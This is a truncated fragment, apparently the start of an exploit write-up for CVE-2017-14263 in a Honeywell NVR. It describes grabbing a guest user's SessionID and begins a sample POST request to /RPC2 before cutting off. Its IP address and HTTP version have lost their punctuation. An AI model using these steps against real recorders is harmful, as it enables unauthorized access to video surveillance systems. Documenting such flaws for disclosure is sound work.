Honeywell_NVR_vul CVE-2017-14263 xfuturesec Co, Ltd First, obtain the SessionID for a guest user We can find the SessionID from any http request Such as: POST 1921681104/RPC2 HTTP/11 Accept: text/javascript, text/html, application/xml, text/xml X-Requested-With: XMLHttpRequest X-Request: JSON Content-Type: application/x-www-form-urlencoded; charset=utf-8 Referer: